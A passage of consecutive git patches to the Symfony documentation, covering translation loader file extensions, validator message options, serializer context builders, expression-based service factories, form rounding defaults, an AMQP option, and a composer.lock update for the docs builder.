     extend_abstract_controller: ~
-    extension_xlf_instead_of_xliff: ~
+    # extension_xlf_instead_of_xliff: ~
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/translation.rst b/translation.rst
index 72741575376..63819ee6af1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -509,18 +509,22 @@ must be named according to the following path: ``domain.locale.loader``:
   ``php``, ``yaml``, etc).
 
 The loader can be the name of any registered loader. By default, Symfony
-provides many loaders:
+provides many loaders which are selected based on the following file extensions:
 
-* ``.yaml``: YAML file
-* ``.xlf``: XLIFF file;
-* ``.php``: Returning a PHP array;
+* ``.yaml``: YAML file (you can also use the ``.yml`` file extension);
+* ``.xlf``: XLIFF file (you can also use the ``.xliff`` file extension);
+* ``.php``: a PHP file that returns an array with the translations;
 * ``.csv``: CSV file;
 * ``.json``: JSON file;
 * ``.ini``: INI file;
-* ``.dat``, ``.res``: ICU resource bundle;
-* ``.mo``: Machine object format;
-* ``.po``: Portable object format;
-* ``.qt``: QT Translations XML file;
+* ``.dat``, ``.res``: `ICU resource bundle`_;
+* ``.mo``: `Machine object format`_;
+* ``.po``: `Portable object format`_;
+* ``.qt``: `QT Translations TS XML`_ file;
+
+.. versionadded:: 6.1
+
+    The ``.xliff`` file extension support was introduced in Symfony 6.1.
 
 The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
@@ -877,3 +881,7 @@ Learn more
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
+.. _`ICU resource bundle`: https://github.com/unicode-org/icu-docs/blob/main/design/bnf_rb.txt
+.. _`Portable object format`: https://www.gnu.org/software/gettext/manual/html_node/PO-Files.html
+.. _`Machine object format`: https://www.gnu.org/software/gettext/manual/html_node/MO-Files.html
+.. _`QT Translations TS XML`: https://doc.qt.io/qt-5/linguist-ts-file-format.html

From b557833cc15a05f4402caf71c9a4010ebaa1541c Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 4 Apr 2022 10:47:13 +0200
Subject: [PATCH 1835/5766] [Validator] Fix of the description of the mime type
 message option

---
 reference/constraints/File.rst                        | 11 +----------
 reference/constraints/Image.rst                       |  7 ++++++-
 .../_parameters-mime-types-message-option.rst.inc     | 10 ++++++++++
 3 files changed, 17 insertions(+), 11 deletions(-)
 create mode 100644 reference/constraints/_parameters-mime-types-message-option.rst.inc

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 1eaed6075d0..3b2ffcb6a14 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -259,16 +259,7 @@ You can find a list of existing mime types on the `IANA website`_.
 The message displayed if the mime type of the file is not a valid mime type
 per the `mimeTypes`_ option.
 
-You can use the following parameters in this message:
-
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ file }}``   Absolute file path
-``{{ name }}``   Base file name
-``{{ type }}``   The MIME type of the given file
-``{{ types }}``  The list of allowed MIME types
-===============  ==============================================================
+.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
 
 ``notFoundMessage``
 ~~~~~~~~~~~~~~~~~~~
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 3beec73cdd1..d2c152fdfe0 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -442,7 +442,12 @@ You can find a list of existing image mime types on the `IANA website`_.
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
+**type**: ``string`` **default**: ``This file is not a valid image.``
+
+The message ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.`` will be displayed 
+if the allowed `mimeTypes`_ are only a subset of ``image/*``.
+
+.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
 
 ``minHeight``
 ~~~~~~~~~~~~~
diff --git a/reference/constraints/_parameters-mime-types-message-option.rst.inc b/reference/constraints/_parameters-mime-types-message-option.rst.inc
new file mode 100644
index 00000000000..0956b77a9c1
--- /dev/null
+++ b/reference/constraints/_parameters-mime-types-message-option.rst.inc
@@ -0,0 +1,10 @@
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ file }}``   Absolute file path
+``{{ name }}``   Base file name
+``{{ type }}``   The MIME type of the given file
+``{{ types }}``  The list of allowed MIME types
+===============  ==============================================================

From 4e9a47ed7b81b9e051ed63f37bacc3e260144e65 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Apr 2022 15:22:20 +0200
Subject: [PATCH 1836/5766] Minor tweak

---
 reference/constraints/Image.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index d2c152fdfe0..ff59cd1ed81 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -444,8 +444,8 @@ You can find a list of existing image mime types on the `IANA website`_.
 
 **type**: ``string`` **default**: ``This file is not a valid image.``
 
-The message ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.`` will be displayed 
-if the allowed `mimeTypes`_ are only a subset of ``image/*``.
+If all the values of the `mimeTypes`_ option are a subset of ``image/*``, the
+error message will be instead: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
 .. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
 

From eea96baf53aa340ef03ace3e41d0df4c38c4f442 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Apr 2022 17:59:53 +0200
Subject: [PATCH 1837/5766] Tweaks and minor rewords

---
 components/serializer.rst              | 13 ++++++++-----
 serializer.rst                         | 20 +++++++++++---------
 serializer/custom_context_builders.rst | 26 ++++++++++++++------------
 3 files changed, 33 insertions(+), 26 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ec0694224ce..4ad51de4d61 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1207,9 +1207,8 @@ Option          Description                                               Defaul
 Context Builders
 ----------------
 
-Context builders are objects that help creating the :ref:`serialization context <serializer-context>`.
-
-You can easily use context builders by instantiating them::
+Instead of passing plain PHP arrays to the :ref:`serialization context <serializer-context>`,
+you can use "context builders" to define the context using a fluent interface::
 
     use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
     use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
@@ -1228,14 +1227,18 @@ You can easily use context builders by instantiating them::
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
+.. versionadded:: 6.1
+
+    Context builders were introduced in Symfony 6.1.
+
 .. note::
 
     The Serializer component provides a context builder
     for each :ref:`normalizer <component-serializer-normalizers>`
     and :ref:`encoder <component-serializer-encoders>`.
 
-    You can also create custom context builders to deal with your
-    context values. Read more at :doc:`/serializer/custom_context_builders`.
+    You can also :doc:`create custom context builders </serializer/custom_context_builders>`
+    to deal with your context values.
 
 Skipping ``null`` Values
 ------------------------
diff --git a/serializer.rst b/serializer.rst
index c9f42cd2751..ef83500394f 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -156,20 +156,22 @@ configuration:
 Using Context Builders
 ----------------------
 
-To define a proper (de)serialization context, you can leverage context builders.
-Those are objects that help you to create that context by providing
-auto-completion, validation, and documentation::
+.. versionadded:: 6.1
+
+    Context builders were introduced in Symfony 6.1.
+
+To define the (de)serialization context, you can use "context builders", which
+are objects that help you to create that context by providing autocompletion,
+validation, and documentation::
 
     use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
 
     $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
-
     $serializer->serialize($something, 'json', $contextBuilder->toArray());
 
 Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
-To create a full (de)serialization context, you will be able to chain them using the
-``withContext`` method. As the ``withContext`` method takes an array as an argument, it is
-also possible to pass custom values to that context::
+To create a more complex (de)serialization context, you can chain them using the
+``withContext()`` method::
 
     use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
     use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
@@ -188,8 +190,8 @@ also possible to pass custom values to that context::
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-If you want auto-completion, validation, and documentation for your custom context values,
-you can :doc:`create your context builders </serializer/custom_context_builders>`.
+You can also :doc:`create your context builders </serializer/custom_context_builders>`
+to have autocompletion, validation, and documentation for your custom context values.
 
 .. _serializer-using-serialization-groups-annotations:
 
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 2bf31680968..c451dc9e142 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -4,22 +4,25 @@
 How to Create your Custom Context Builder
 =========================================
 
+.. versionadded:: 6.1
+
+    Context builders were introduced in Symfony 6.1.
+
 The :doc:`Serializer Component </components/serializer>` uses Normalizers
 and Encoders to transform any data to any data-structure (e.g. JSON).
-That serialization process could be configured thanks to a
+That serialization process can be configured thanks to a
 :ref:`serialization context <serializer-context>`, which can be built thanks to
 :ref:`context builders <component-serializer-context-builders>`.
 
-Each built-in normalizer/encoder has its related context builder.
-But, as an example, you may want to use custom context values
-for your :doc:`custom normalizers </serializer/custom_normalizer>`
-and create a custom context builder related to them.
+Each built-in normalizer/encoder has its related context builder. However, you
+may want to create a custom context builder for your
+:doc:`custom normalizers </serializer/custom_normalizer>`.
 
-Creating a new context builder
+Creating a new Context Builder
 ------------------------------
 
 Let's imagine that you want to handle date denormalization differently if they
-are coming from a legacy system, by converting them to ``null`` if the serialized
+are coming from a legacy system, by converting dates to ``null`` if the serialized
 value is ``0000-00-00``. To do that you'll first have to create your normalizer::
 
     // src/Serializer/ZeroDateTimeDenormalizer.php
@@ -51,14 +54,13 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
         }
     }
 
-You'll therefore be able to cast zero-ish dates to ``null`` during denormalization::
+Now you can cast zero-ish dates to ``null`` during denormalization::
 
     $legacyData = '{"updatedAt": "0000-00-00"}';
-
     $serializer->deserialize($legacyData, MyModel::class, 'json', ['zero_datetime_to_null' => true]);
 
-Then, if you don't want other developers to have to remind the precise ``zero_date_to_null`` context key,
-you can create a dedicated context builder::
+Now, to avoid having to remember about this specific ``zero_date_to_null``
+context key, you can create a dedicated context builder::
 
     // src/Serializer/LegacyContextBuilder
     namespace App\Serializer;
@@ -75,7 +77,7 @@ you can create a dedicated context builder::
         }
     }
 
-And finally use it to build the serialization context::
+And finally, use it to build the serialization context::
 
     $legacyData = '{"updatedAt": "0000-00-00"}';
 

From be1bd78bc00b5f4bcf40f11a7b3cf791cac06ab3 Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Tue, 26 Apr 2022 20:45:50 +0200
Subject: [PATCH 1838/5766] [Serializer] Skip calling
 `ContextBuilder::toArray()` when possible

---
 components/serializer.rst              | 2 +-
 serializer.rst                         | 2 +-
 serializer/custom_context_builders.rst | 3 ++-
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 4ad51de4d61..27d08f79ec3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1222,7 +1222,7 @@ you can use "context builders" to define the context using a fluent interface::
         ->withGroups(['group1', 'group2']);
 
     $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder->toArray())
+        ->withContext($contextBuilder)
         ->withDelimiter(';');
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
diff --git a/serializer.rst b/serializer.rst
index ef83500394f..0bad41412ee 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -185,7 +185,7 @@ To create a more complex (de)serialization context, you can chain them using the
         ->withGroups(['group1', 'group2']);
 
     $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder->toArray())
+        ->withContext($contextBuilder)
         ->withDelimiter(';');
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index c451dc9e142..6c083078301 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -65,9 +65,10 @@ context key, you can create a dedicated context builder::
     // src/Serializer/LegacyContextBuilder
     namespace App\Serializer;
 
+    use Symfony\Component\Serializer\Context\ContextBuilderInterface;
     use Symfony\Component\Serializer\Context\ContextBuilderTrait;
 
-    final class LegacyContextBuilder
+    final class LegacyContextBuilder implements ContextBuilderInterface
     {
         use ContextBuilderTrait;
 

From 9fa967eca837b89dd2798d12ac3f168ddc1af517 Mon Sep 17 00:00:00 2001
From: Jonathan Johnson <jon.johnson@ucsf.edu>
Date: Tue, 26 Apr 2022 21:03:32 -0700
Subject: [PATCH 1839/5766] Update Length Validator Empty String Docs

Empty strings are no longer valid if a min is passed, null values still
validate.
---
 reference/constraints/Length.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index c9569a7227d..140f804092e 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -113,7 +113,7 @@ and ``50``, you might add the following:
             }
         }
 
-.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
 
 Options
 -------
@@ -199,9 +199,9 @@ the given value's length is **less** than this min value.
 
 This option is required when the ``max`` option is not defined.
 
-It is important to notice that NULL values and empty strings are considered
-valid no matter if the constraint required a minimum length. Validators
-are triggered only if the value is not blank.
+It is important to notice that ``null`` values are considered
+valid no matter if the constraint requires a minimum length. Validators
+are triggered only if the value is not ``null``.
 
 ``minMessage``
 ~~~~~~~~~~~~~~

From f8fc3d60b47bcf0ed34def8d80fb488660ac4bd8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Vasseur?= <jerome.vasseur@thetribe.io>
Date: Wed, 16 Feb 2022 12:57:36 +0100
Subject: [PATCH 1840/5766] Add documentation for using expressions as service
 factories

---
 service_container/expression_language.rst | 51 +++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 972d7286c88..a9d5705c5b9 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -125,3 +125,54 @@ via a ``container`` variable. Here's another example:
 
 Expressions can be used in ``arguments``, ``properties``, as arguments with
 ``configurator`` and as arguments to ``calls`` (method calls).
+
+You can also use expressions as service factories:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Mailer:
+                factory: "@=parameter('some_param') ? service('some_service') : arg(0)"
+                arguments:
+                    - '@some_other_service'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Mailer">
+                    <factory expression="parameter('some_param') ? service('some_service') : arg(0)"/>
+                    <argument type="service" id="some_other_service"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Mailer;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(Mailer::class)
+                ->factory(expr("parameter('some_param') ? service('some_service') : arg(0)"))
+                ->args([service('some_other_service')]);
+        };
+
+In this context, you have access to the ``arg`` function that allows getting the value of arguments passed to the factory.
+
+.. versionadded:: 6.1
+
+    Using expressions as factories was introduced in Symfony 6.1.

From f7318bba58ed9281d8c24551d889d7c86aa731e1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20FUCHS?= <sebastienfuchs@tousvoisins.fr>
Date: Wed, 27 Apr 2022 14:58:41 +0200
Subject: [PATCH 1841/5766] [Form] [Forms] rounding default const up to down

---
 reference/forms/types/options/rounding_mode.rst.inc | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 525f5d99cdf..84069894723 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -1,7 +1,14 @@
 rounding_mode
 ~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
+**type**: ``integer``
+
+* IntegerType
+**default**: ``\NumberFormatter::ROUND_DOWN``
+
+* MoneyType and NumberType
+**default**: ``\NumberFormatter::ROUND_HALF_UP``
+
 
 If a submitted number needs to be rounded (based on the `scale`_ option), you
 have several configurable options for that rounding. Each option is a constant

From 274438d0a4bc024f1709fb6fff377ad71726b3ed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Apr 2022 16:38:47 +0200
Subject: [PATCH 1842/5766] Minor tweak

---
 reference/forms/types/options/rounding_mode.rst.inc | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 84069894723..53403056585 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -1,7 +1,8 @@
 rounding_mode
 ~~~~~~~~~~~~~
 
-**type**: ``integer``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_DOWN`` for ``IntegerType``
+and ``\NumberFormatter::ROUND_HALF_UP`` for ``MoneyType`` and ``NumberType``
 
 * IntegerType
 **default**: ``\NumberFormatter::ROUND_DOWN``

From 05c68eb5aca38adf605f287954b15528a180d1e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Apr 2022 17:32:24 +0200
Subject: [PATCH 1843/5766] Minor tweaks

---
 controller/argument_value_resolver.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 18e79233a82..9d17e1813c1 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -61,12 +61,12 @@ Symfony ships with the following value resolvers in the
 
         class CardController
         {
-            #[Route(
-                '/cards/{suit}',
-                requirements: [
-                    'suit' => new EnumRequirement(Suit::class, Suit::Diamonds, Suit::Spades),
-                ],
-            )]
+            #[Route('/cards/{suit}', requirements: [
+                // this allows all values defined in the Enum
+                'suit' => new EnumRequirement(Suit::class),
+                // this restricts the possible values to the Enum values listed here
+                'suit' => new EnumRequirement([Suit::class, Suit::Diamonds, Suit::Spades]),
+            ])]
             public function list(Suit $suit): Response
             {
                 // ...

From 215b6a681b8f1de5237ac7e6c174c52451c35395 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 16 Mar 2022 17:25:00 +0100
Subject: [PATCH 1844/5766] Document connection_name in Messenger AMQP
 transport connection

Close https://github.com/symfony/symfony-docs/issues/16523
---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index a16eba95ab2..84493f1d471 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1196,6 +1196,8 @@ The transport has a number of options:
                                               greater seconds. May be fractional.
 ``retry``
 ``sasl_method``
+``connection_name``                           For custom connection names (requires at least
+                                              version 1.10 of the PHP AMQP extension)
 ``user``                                      Username to use to connect the AMQP service
 ``verify``                                    Enable or disable peer verification. If peer
                                               verification is enabled then the common name in
@@ -1220,6 +1222,10 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
+.. versionadded:: 6.1
+
+    The ``connection_name`` option was introduced in Symfony 6.1.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::

From f17b78c6f383883266b03e48af7dc7bb77ccacb0 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 03:43:00 +0200
Subject: [PATCH 1845/5766] Remove undefined refs

---
 contributing/code/standards.rst    | 2 +-
 frontend/encore/simple-example.rst | 2 +-
 reference/forms/types/map.rst.inc  | 4 ++--
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index bcf10eb3196..134da5c1196 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -210,7 +210,7 @@ Naming Conventions
 * Use `snake_case`_ for configuration parameters and Twig template variables
   (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
-* Use `SCREAMING_SNAKE_CASE`_ for constants (e.g. ``InputArgument::IS_ARRAY``);
+* Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``);
 
 * Use `UpperCamelCase`_ for enumeration cases (e.g. ``InputArgumentMode::IsArray``);
 
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 349a4bbbd1e..21a3bad9093 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -214,7 +214,7 @@ As simple as the above example is, instead of building your application inside o
 ``app.js``, we recommend `Stimulus`_: a small JavaScript framework that makes it
 easy to attach behavior to HTML. It's powerful, and you will love it! Symfony
 even provides packages to add more features to Stimulus. These are called the
-`Symfony UX Packages`_.
+Symfony UX Packages.
 
 If you followed the setup instructions, you should already have Stimulus installed
 and ready to go! In fact, that's the purpose of the ``assets/bootstrap.js`` file:
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index c90c6430e70..9b47a1caaf5 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -56,8 +56,8 @@ These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
 UID Fields
 ~~~~~~~~~~
 
-* :doc:`UuidType </reference/forms/types/uuid>`
-* :doc:`UlidType </reference/forms/types/ulid>`
+* UuidType
+* UlidType
 
 Field Groups
 ~~~~~~~~~~~~

From 92239688566ebc7b04a74efd956dbcfe58fe06b8 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 03:46:11 +0200
Subject: [PATCH 1846/5766] Bump deps of the builder

---
 _build/composer.lock | 413 ++++++++++++++++++++++---------------------
 1 file changed, 216 insertions(+), 197 deletions(-)

diff --git a/_build/composer.lock b/_build/composer.lock
index 4f77182d8c4..503bfab012b 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -102,25 +102,25 @@
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "0.4.4",
+            "version": "0.5.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203"
+                "reference": "3b914d5eb8f6a91afc7462ea7794b0e05b884a35"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/73992ea579f6bfcb0697e4df29499c48b7542203",
-                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/3b914d5eb8f6a91afc7462ea7794b0e05b884a35",
+                "reference": "3b914d5eb8f6a91afc7462ea7794b0e05b884a35",
                 "shasum": ""
             },
             "require": {
                 "doctrine/event-manager": "^1.0",
                 "php": "^7.2 || ^8.0",
-                "symfony/filesystem": "^4.1 || ^5.0",
-                "symfony/finder": "^4.1 || ^5.0",
+                "symfony/filesystem": "^4.1 || ^5.0 || ^6.0",
+                "symfony/finder": "^4.1 || ^5.0 || ^6.0",
                 "symfony/polyfill-mbstring": "^1.0",
-                "symfony/string": "^5.3",
+                "symfony/string": "^5.3 || ^6.0",
                 "symfony/translation-contracts": "^1.1 || ^2.0",
                 "twig/twig": "^2.9 || ^3.3"
             },
@@ -132,8 +132,8 @@
                 "phpstan/phpstan-phpunit": "^0.12",
                 "phpstan/phpstan-strict-rules": "^0.12",
                 "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
-                "symfony/css-selector": "4.4 || ^5.2",
-                "symfony/dom-crawler": "4.4 || ^5.2"
+                "symfony/css-selector": "4.4 || ^5.2 || ^6.0",
+                "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0"
             },
             "type": "library",
             "autoload": {
@@ -169,26 +169,26 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/0.4.4"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.5.2"
             },
-            "time": "2021-10-21T18:44:45+00:00"
+            "time": "2022-03-22T13:52:20+00:00"
         },
         {
             "name": "psr/container",
-            "version": "1.1.1",
+            "version": "1.1.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf"
+                "reference": "513e0666f7216c7459170d56df27dfcefe1689ea"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/8622567409010282b7aeebe4bb841fe98b58dcaf",
-                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/513e0666f7216c7459170d56df27dfcefe1689ea",
+                "reference": "513e0666f7216c7459170d56df27dfcefe1689ea",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.0"
+                "php": ">=7.4.0"
             },
             "type": "library",
             "autoload": {
@@ -217,9 +217,9 @@
             ],
             "support": {
                 "issues": "https://github.com/php-fig/container/issues",
-                "source": "https://github.com/php-fig/container/tree/1.1.1"
+                "source": "https://github.com/php-fig/container/tree/1.1.2"
             },
-            "time": "2021-03-05T17:36:06+00:00"
+            "time": "2021-11-05T16:50:12+00:00"
         },
         {
             "name": "psr/log",
@@ -273,16 +273,16 @@
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.8",
+            "version": "v9.18.1.9",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9"
+                "reference": "d45585504777e6194a91dffc7270ca39833787f8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6d5049cd2578e19a06adbb6ac77879089be1e3f9",
-                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/d45585504777e6194a91dffc7270ca39833787f8",
+                "reference": "d45585504777e6194a91dffc7270ca39833787f8",
                 "shasum": ""
             },
             "require": {
@@ -300,13 +300,13 @@
             },
             "type": "library",
             "autoload": {
+                "files": [
+                    "HighlightUtilities/functions.php"
+                ],
                 "psr-0": {
                     "Highlight\\": "",
                     "HighlightUtilities\\": ""
-                },
-                "files": [
-                    "HighlightUtilities/functions.php"
-                ]
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -347,41 +347,44 @@
                     "type": "github"
                 }
             ],
-            "time": "2021-10-24T00:28:14+00:00"
+            "time": "2021-12-03T06:45:28+00:00"
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.18.2",
+            "version": "v0.18.9",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "53632711147e08782e2be782d5cbe68109c497be"
+                "reference": "1bc91f91887b115d78e7d2c8879c19af515b36ae"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/53632711147e08782e2be782d5cbe68109c497be",
-                "reference": "53632711147e08782e2be782d5cbe68109c497be",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/1bc91f91887b115d78e7d2c8879c19af515b36ae",
+                "reference": "1bc91f91887b115d78e7d2c8879c19af515b36ae",
                 "shasum": ""
             },
             "require": {
-                "doctrine/rst-parser": "^0.4",
+                "doctrine/rst-parser": "^0.5",
                 "ext-curl": "*",
                 "ext-json": "*",
-                "php": "^7.2 || ^8.0",
+                "php": ">=7.4",
                 "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^5.2",
-                "symfony/css-selector": "^5.2",
-                "symfony/dom-crawler": "^5.2",
-                "symfony/filesystem": "^5.2",
-                "symfony/finder": "^5.2",
-                "symfony/http-client": "^5.2",
+                "symfony/console": "^5.2 || ^6.0",
+                "symfony/css-selector": "^5.2 || ^6.0",
+                "symfony/dom-crawler": "^5.2 || ^6.0",
+                "symfony/filesystem": "^5.2 || ^6.0",
+                "symfony/finder": "^5.2 || ^6.0",
+                "symfony/http-client": "^5.2 || ^6.0",
                 "twig/twig": "^2.14 || ^3.3"
             },
             "require-dev": {
                 "gajus/dindent": "^2.0",
-                "symfony/phpunit-bridge": "^5.2",
-                "symfony/process": "^5.2"
